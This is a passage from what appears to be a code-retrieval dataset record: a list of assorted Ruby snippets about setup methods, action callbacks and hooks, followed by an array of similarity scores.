}\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Note: a and b are not ordered! Examples get_sum(1, 0) == 1 1 + 0 = 1 get_sum(1, 2) == 3 1 + 2 = 3 get_sum(0, 1) == 1 0 + 1 = 1 get_sum(1, 1) == 1 1 Since both are same get_sum(1, 0) == 1 1 + 0 = 1 get_sum(1, 2) == 2 1 + 0 + 1 + 2 = 2
def get_sum(a,b) if a || b a + b elsif a == a return a elsif b == b return b else puts "Invalid Option" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_sum(a, b)\n [a,b].reduce(&:+)\nend", "def get_sum(a,b)\n if a > b \n (b..a).reduce(:+)\n else\n (a..b).reduce(:+)\n end\n end", "def get_sum(a,b)\n if a > b\n [ *b..a ].sum\n elsif a == b\n a\n else\n [ *a..b ].sum\n end\nend", "def get_sum(a,b)\n c, d = [a, b].sort\n (c..d).inject(:+)\nend", "def get_sum(a,b)\n cla = [a,b].sort\n (cla[0]..cla[1]).reduce(:+)\nend", "def get_sum(a,b)\n a == b ? a : a < b ?\n (a..b).to_a.sum : \n (b..a).to_a.sum\nend", "def get_sum(a,b)\n return a if a == b\n \n result = 0\n min = a < b ? a : b\n max = min == a ? b : a\n num = min\n \n until num == max\n result += num\n num += 1\n end\n \n result + max\nend", "def get_sum(a, b)\n if a <= b\n (a..b).inject(:+)\n elsif a > b\n (b..a).inject(:+)\n end\nend", "def get_sum(a, b)\n (b < a) ? a : (a..b).to_a.inject(:+)\nend", "def get_sum(a,b)\n a, b = [a, b].minmax\n [*a..b].inject(:+)\nend", "def get_sum(a,b)\n\treturn a < b ? (a..b).reduce(:+) : (b..a).reduce(:+)\nend", "def get_sum(a,b)\n\trange = b..a\n\trange = a..b if b > a\n\trange.inject(&:+)\nend", "def get_sum(a,b)\n def get_sum(a,b)\n (a..b).reduce(:+) || (b..a).reduce(:+)\n end\nend", "def sum_of(a,b)\n\treturn a + b\nend", "def get_sum(a,b)\n a < b ? (a..b).inject(:+) : (b..a).inject(:+)\nend", "def get_sum(a,b)\n return a if a == b # if range is 1 return self\n a < b ? sum = (a..b).inject(:+) : sum = (b..a).inject(:+) # ternery used to order range\nend", "def sum\n [@r,@g,@b].inject(:+)\n end", "def cool_sum_func(a, b)\n puts \"a = #{a}\"\n puts \"b = #{b}\"\n \n #completely necessary if-else\n if a % 2 == 0\n return add_them(a, b)\n else\n b += 2\n return subtract_them(a, b)\n end\n end", "def get_sum(a,b)\n a < b ? (a..b).reduce(:+) : (b..a).reduce(:+)\nend", "def sum(a)\nb = 0\na.each do |i|\nb += i\nend\nreturn b\nend", "def getSum ( x , y )\n\tsum = x + y\n\treturn sum\nend", "def sum(a, b)\n\n\tsum = a + b #=> zwroci nam sume zmiennych a i b\n\nend", "def sum a, b\n return a + b\nend", "def sum(a, b = nil)\n if b\n _sum(b) - _sum(a)\n elsif a.is_a?(Range)\n l = a.begin\n l += @size if l < 0\n if r = a.end\n r += @size if r < 0\n r += 1 unless a.exclude_end?\n else\n r = @size\n end\n _sum(r) - _sum(l)\n else\n _sum(a)\n end\n end", "def get_sum(a, b)\n a < b ? (a..b).sum : (b..a).sum\nend", "def sum_of_2int a, b\n (b == 0) ? a : (sum_of_2int (a^b),((a&b)<< 1))\nend", "def double_sum(a, b)\n a == b ? 2 * (a + b) : (a + b)\nend", "def sum a, b\n a + b\nend", "def sum(a)\n a.reduce(0) {|b,c| b + c}\nend", "def sum\n if block_given?\n inject(0) { |a,b| a+(yield b) }\n else\n inject(0) { |a,b| a+b }\n end\n end", "def sum(a, b)\n return a + b\nend", "def sum(a, b)\n return a + b\nend", "def total(a,b)\r\n return (a+b)\r\nend", "def sum(a, b)\n a + b\nend", "def sum(a, b)\n a + b\nend", "def sum (a, b)\n a + b\nend", "def sum(a,b)\n a + b\nend", "def sum_pair(ints, sum)\nend", "def add_sum(a, b)\n puts \"ADDING #{a} + #{b}\"\n return a + b\nend", "def sum(num, total) => total += num", "def sum(a)\n a.reduce(&:+)\nend", "def compute_sum(numbers)\n sum = 0\n numbers.each do |number|\n sum += number\n end\n return sum\nend", "def compute_sum(numbers)\n sum = 0\n numbers.each do |number|\n sum += number\n end\n return sum\nend", "def sum(a,b)\n a + b \nend", "def add_numbers(number1, number2)\n return sum\nend", "def getSum(xs)\n xs.inject do |memo,x|\n memo + x\n end\nend", "def print_item_sums(hash_a, hash_b)\n print_price(hash_a) + print_price(hash_b)\nend", "def calculate (stat = Hash{add:true},*num)\n sum = 0\n stat.each_key do |key|\n if (key == :add)\n sum = add(*num)\n else\n first, *list = num\n sum = substract(first,*list)\n end\n end\n return sum\nend", "def sumOfTwo(a, b, v)\n a.each do |s_int|\n b.each do |b_int|\n return true if s_int + b_int == v\n end\n end\n false\nend", "def addition(a)\n sum = a.inject(0) {|sum,x| sum + x}\n print sum\n \nend", "def GetSum(num, sum)\n if num == 0\n return sum\n else\n return GetSum((num - 1), (sum + num))\n end\nend", "def two_sum(nums)\nend", "def sum(addends)\n addends.inject(0, :+)\n end", "def two_sum(nums)\n\ta = 0\n\n\twhile a < nums.length\n\t\tb = a + 1\n\n\t\twhile b < nums.length\n\n\t\t\tif nums [b]+ nums[a] == 0\n\t\t\treturn [ a,b]\n\n\t\tend\n\n\t\tb+=1\n\t end\n\n\t a+=1\n\n\tend\n\n\treturn nil\n\t\nend", "def sum(from, to, &b)\n accumulator = 0.0\n Range.new(from, to).each do |i|\n accumulator += b.call(i)\n end\n return accumulator\nend", "def get_sum(num1, num2)\n puts num1 + num2\nend", "def sum_double(a, b)\n\t\tif (a != b)\n\t\t\ta+b\n\t\telse\n\t\t\t2 * (a + b)\n\t\tend\n\tend", "def sum(numbers)\n numbers.inject(0, :+)\nend", "def compute_sum(num1,num2)\n while num2>0 #increment the first number until the second number hits zero\n num1+=1\n num2-=1\n end\n num1 #return the first number\n end", "def sum_of_sums(numbers)\n sum_total = 0\n accumulator = 0\n\n numbers.each do |num|\n accumulator += num\n sum_total += accumulator\n end\n\n sum_total\nend", "def sum_of_sums(numbers)\n sum_total = 0\n accumulator = 0\n\n numbers.each do |num|\n accumulator += num\n sum_total += accumulator\n end\n\n sum_total\nend", "def sum_of_sums(numbers)\n sum_total = 0\n accumulator = 0\n\n numbers.each do |num|\n accumulator += num\n sum_total += accumulator\n end\n sum_total\nend", "def sum(sums)\r\n if sums.empty?\r\n 0\r\n else\r\n sums.reduce(:+)\r\n end\r\nend", "def sum(numbers)\r\n numbers.reduce(0, :+)\r\nend", "def addNums(first, second, *nums)\n sum = first + second\n p nums.inject(sum) {|sum,x| sum+x}\n\nend", "def compute_sum_r(num1,num2)\n num2>0 ? compute_sum(num1+1,num2-1) : num1\n end", "def add(a, b)\n sum = a + b\n return sum\nend", "def test_suma\n assert_equal 12,@a.suma(@b).num\n assert_equal 7, @a.suma(@b).denom\n end", "def sumOfTwo(a, b, v)\n\n # create a hash that will store key-value pairs of array b\n h = {}\n\n # iterate over b and store a key, which is the number\n # and store the value, which is the number of occurences\n b.each do |num|\n if h[num]\n h[num] += 1\n else\n h[num] = 1\n end\n end\n\n # iterate over a and for each number in a\n # if the hash contains the v minus num (which is equivalent to adding num + hash[v-num] = v)\n # then return true\n a.each do |num|\n if h[v - num]\n return true\n end\n end\n\n # if this point is reached, there was no matching pairs\n # return false\n return false\n\nend", "def sum(sums = Array[0])\n retVal = 0;\n sums.each do |i|\n retVal = (retVal + i.to_i);\n end\n retVal;\nend", "def total(numbers)\n return numbers.reduce(:+)\nend", "def sum_times_difference(a, b)\n\nend", "def get_sum(arr)\n arr.inject do |memo, x|\n memo + x\n end\nend", "def total(nums)\n nums.inject(:+)\nend", "def sum; end", "def sum_two_numbers(a, b)\n a + b\nend", "def total(a)\n\ta.reduce(:+)\nend", "def two_sum(nums)\n\tstore = nums.combination(2).to_a\n\tarr = Array.new\n\ti = 0\n\tsum = 0\n\twhile i <= store.length\n\t\ta = store[i][0]\n\t\tb = store[i][1]\n\t\tsum = ( a + b )\n\t\t\n if sum != 0 && i == store.length-1\n \treturn nil\n elsif sum != 0 && i < store.length\n\t\t\ti += 1\t\n elsif sum == 0\n\t\t\tarr[0] = nums.index(a)\n\t\t\tarr[1] = nums.index(b)\n\t\t\treturn arr\t\t\n\t\tend \n \n\tend\n # if sum = store[store.length-1][0] + store[store.length-1][1]) \n # if sum != 0 && i == store.length\n # \treturn arr\n # end\n\nend", "def findSum()\n\tnumbers.inject(0) { |sum, number| sum + number }\nend", "def sum(x, y)\n\nend", "def sum(i) \n i.inject(:+)\nend", "def sum(numbers)\n numbers.reduce(&:+)\n end", "def sum_double (a,b)\n\t\n\tif a != b \n\t\treturn a + b \n\tend \n\n\tif a = b \n\t\treturn 2 * (a + b)\n\tend\n\nend", "def sum_these_numbers(a, b)\n puts a + b\nend", "def compute_sum(number)\n (1..number).inject(:+)\nend", "def add(a, b, n=1)\n a << 0 while a.length < b.length\n \n # oddly, this is faster than each_with_index\n i = 0\n b.each do |factor|\n a[i] += n * factor\n i += 1\n end\n \n a.pop while a[-1] == 0\n a\n end", "def sum(number, other)\n number + other\n end", "def sum(*arguments)\n sum = 0\n arguments.each {|arg| sum += arg}\n sum\nend", "def total(numbers)\n numbers.reduce(:+)\nend", "def num_of_sums(num, list)\n # => divide and conquer\n helper(num, list, 0)\nend", "def sum_these_numbers(a,b)\n puts a + b\nend", "def sum(args_arr)\n args_arr.inject(:+)\nend", "def sum_pair(list, target)\n list.each do |a|\n list.each do |b|\n if a + b == target and list.index(a) != list.index(b)\n return [a, b]\n end\n end\n end\nend", "def sum(nums)\n nums.reduce(&:+)\nend", "def sum(*numbers,&block)\n numbers.inject(0){|sum,num| block.call(sum,num)}\nend", "def partials(b)\n \"Starting from the left, calculate partial sums of a brickset.\"\n (0..b.length - 2).collect {|i| b[0..i].sum}\nend", "def sum(*numbers)\n sum = 0\n numbers.each { |number| sum += number }\n sum\nend", "def total(numbers)\n\tnumbers.inject(:+)\nend", "def sum_numbers(root)\n return 0 if root.nil?\n nums = []\n inner_sum_numbers(root, 0, nums)\n nums.reduce(:+) #OR (&:+)\n#(5..10).reduce(:+) => 45\n# Same using a block and inject (5..10).inject { |sum, n| sum + n } => 45\n# Multiply some numbers(5..10).reduce(1, :*) => 151200\nend", "def sum(a, b)\n puts \"The sum of #{a} + #{b} = \" + \"#{(a + b)}\"\n #return a + b not needed for this\nend" ]
[ "0.8176009", "0.78915006", "0.77607363", "0.76230437", "0.75418353", "0.746267", "0.7407989", "0.73993254", "0.7381634", "0.7357282", "0.73509336", "0.73399186", "0.73318714", "0.7317591", "0.724486", "0.7216245", "0.715397", "0.71457314", "0.71357864", "0.7063525", "0.69386613", "0.6894026", "0.6872715", "0.68680865", "0.68351084", "0.6825302", "0.68039644", "0.68035203", "0.6727919", "0.66429085", "0.66320956", "0.66320956", "0.6621996", "0.66125166", "0.66125166", "0.6602077", "0.65649813", "0.6517631", "0.6491878", "0.64838815", "0.64788055", "0.6473883", "0.6473883", "0.64504135", "0.6401177", "0.63975257", "0.6395384", "0.6390915", "0.6388491", "0.6382454", "0.63816303", "0.6364237", "0.63541085", "0.63473827", "0.63385594", "0.63254935", "0.6324942", "0.6321508", "0.63210803", "0.63199824", "0.63199824", "0.63157475", "0.630666", "0.6305879", "0.6296153", "0.628438", "0.62719405", "0.62707233", "0.62603736", "0.6244593", "0.62352604", "0.6232727", "0.623178", "0.6224138", "0.62166685", "0.6207964", "0.62048155", "0.61979604", "0.6197034", "0.61901766", "0.6189804", "0.6188732", "0.61850244", "0.61839885", "0.6176116", "0.6174369", "0.61727667", "0.6171801", "0.61648273", "0.6164469", "0.61629504", "0.61574936", "0.61507505", "0.6147975", "0.61442965", "0.61422396", "0.61385185", "0.6133414", "0.61334115", "0.61311823" ]
0.6910769
21
GET /contentareas/1 GET /contentareas/1.json
def show @contentarea = Contentarea.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @contentarea } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @question_content_area = QuestionContentArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def index\n @core_areas = Core::Area.find_mine(params).paginate(page: params[:page])\n\n respond_to do |format|\n format.html {}\n format.json {}\n end\n end", "def new\n @contentarea = Contentarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contentarea }\n end\n end", "def show\n @breadcrumb = 'read'\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @area }\n end\n end", "def index\n @areas = Area.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @areas }\n format.json {render :json => @areas}\n end\n end", "def index\n @areas = Area.all\n end", "def index\n @group_areas = GroupArea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_areas }\n end\n end", "def show\n @area = Area.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @area }\n end\n end", "def show\r\n @area = Area.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @area }\r\n end\r\n end", "def index\n @sub_areas = SubArea.all\n end", "def index\n @specialization_areas = SpecializationArea.all\n end", "def index\n @project_areas = ProjectArea.all\n end", "def new\n @question_content_area = QuestionContentArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def areas\n aux = WorkOrderArea.by_name\n render json: serialized_work_order_areas(aux)\n end", "def index\n @survey_areas = SurveyArea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_areas }\n end\n end", "def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end", "def index\n @areas = Area.with_ordered_countries\n respond_with(@areas)\n end", "def area\n popolo.areas.find_by(id: area_id)\n end", "def show\n @area_type = AreaType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @area_type }\n end\n end", "def index\n @city_areas = CityArea.all\n end", "def index\r\n @domain = Domain.find(params[:domain_id])\r\n @areas = Area.includes(:domain).includes(:filter_type_property).\r\n includes(:interval_property).includes(:language_code_property).\r\n where(domain_id: @domain.id).rank(\"row_order\").page(params[:page]).per(@@page_size)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @areas }\r\n end\r\n end", "def show\n @group_area = GroupArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group_area }\n end\n end", "def index\n @issue_areas = IssueArea.all\n end", "def show\n @researcharea = Researcharea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @researcharea }\n end\n end", "def create\n @contentarea = Contentarea.new(params[:contentarea])\n\n respond_to do |format|\n if @contentarea.save\n format.html { redirect_to @contentarea, notice: 'Contentarea was successfully created.' }\n format.json { render json: @contentarea, status: :created, location: @contentarea }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def areas_json\n @json = {}\n @json[:id] = self.id\n @json[:country] = self.name\n @json[:country_lat] = self.lat\n @json[:country_lon] = self.lon\n\n @json[:iccas] = []\n self.sites.each do |site|\n site_details = {}\n site_details[:name] = site.name\n site_details[:url] = \"/sites/\" + site.id.to_s\n site_details[:lat] = site.lat\n site_details[:lng] = site.lon\n @json[:iccas] << site_details\n end\n return @json\n end", "def index\n @contents = Content.all\n render json: @contents\n end", "def index\n areas = if current_user.moderator?\n ProductionArea.where.not(state: 0).eager_load(:map_layer)\n else\n current_user.production_areas.eager_load(:map_layer).with_translations(I18n.locale)\n end\n @cabinet_production_areas = areas\n end", "def index\n @areas_skills = AreasSkill.all\n end", "def index\n @lab_areas = LabArea.all\n end", "def get_area\n template_area = TemplateArea.find :first, \n :conditions => [\"template_id = ? AND template_areas.id = ? AND tempalte_boxes.site_id = ?\",\n current_site.template_id,\n params[:id],\n current_site.id ],\n :include => [ :template_boxes => :template_box_type ],\n :order => \"template_areas.position, template_boxes.position\"\n render :layout => false, :partial => \"template_area\", :object => template_area\n end", "def show\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @country_area }\n end\n end", "def list_service_areas\n @service_areas = smart_listing_create(:service_areas, @service_areas, partial: \"/service_areas/index\",\n default_sort: { created_at: \"desc\" }, page_sizes: [10, 50, 100])\n end", "def destroy\n @contentarea = Contentarea.find(params[:id])\n @contentarea.destroy\n\n respond_to do |format|\n format.html { redirect_to contentareas_url }\n format.json { head :no_content }\n end\n end", "def index\n @core_logistic_areas = Core::LogisticArea.find_mine(params).paginate(page: params[:page])\n respond_to do |format|\n format.js {}\n format.html {}\n end\n end", "def index\n @micro_areas = MicroArea.all\n end", "def show\n set_user_and_user_areas\n @searched_areas << Area.find(params[:area][:id])\n render :index\n end", "def index\n @content_condos = ContentCondo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_condos }\n end\n end", "def index\n @tareas = Tarea.all\n end", "def index\n @content_partials = ContentPartial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_partials }\n end\n end", "def get_areas\n area_lists = @page.search('ul.list-balloon__list-col')\n\n areas = []\n if area_lists.length > 1\n area_lists.each do |area_list|\n a_tags = area_list.search('a')\n a_tags.each do |a|\n areas.push({\n name: a.text,\n uri: a.attribute('href').value\n })\n end\n end\n else\n a_tags = area_lists.search('a')\n a_tags.each do |a|\n areas.push({\n name: a.text,\n uri: a.attribute('href').value\n })\n end\n end\n\n areas\n end", "def index\n @research_areas = ResearchArea.all\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def show\n @survey_area = SurveyArea.find(params[:id])\n @survey_areas = Array.new\n @survey_areas.push(@survey_area)\n @json = @survey_area.survey_locations.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_area }\n end\n end", "def show\n @area = Area.find(params[:id])\n respond_with(@area)\n end", "def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end", "def index\n @district_areas = DistrictArea.all\n end", "def index\n @district_areas = DistrictArea.all\n end", "def show\n @content_condo = ContentCondo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_condo }\n end\n end", "def show\n @curriculum_area = CurriculumArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @curriculum_area }\n end\n end", "def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end", "def create\n @question_content_area = QuestionContentArea.new(params[:question_content_area])\n\n respond_to do |format|\n if @question_content_area.save\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully created.' }\n format.json { render json: @question_content_area, status: :created, location: @question_content_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @interest_area = InterestArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interest_area }\n end\n end", "def show\n @content_explore = ContentExplore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_explore }\n end\n end", "def show\n @droparea = Droparea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @droparea }\n end\n end", "def index\n @userareas = Userarea.all\n @users = User.all\n @areas = Area.all\n end", "def index\n @content_blocks = ContentBlock.all\n end", "def index\n manage_filter_state\n init_oco if !session[:organization]\n if session[:organization] != '0'\n # OCO organization active\n @areas = Area.joins(:department).where(departments: { organization_id: session[:organization] }).includes(:worker).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n else\n # OCO inactive\n @areas = Area.includes(:department, :worker).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @areas }\n format.js\n end\n end", "def update\n @contentarea = Contentarea.find(params[:id])\n\n respond_to do |format|\n if @contentarea.update_attributes(params[:contentarea])\n format.html { redirect_to @contentarea, notice: 'Contentarea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @content_item_condos = ContentItemCondo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @content_item_condos }\n end\n end", "def index\n @site_editorials = SiteEditorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_editorials }\n end\n end", "def show\n render json: @content\n end", "def index\n @political_areas = PoliticalArea.all\n if params[:city_id].present?\n @political_areas = PoliticalArea.find(params[:city_id]).sub_areas\n end\n @political_areas = @political_areas.where(\"long_name like ?\", \"%#{params[:long_name]}%\") if params[:long_name]\n @political_areas = 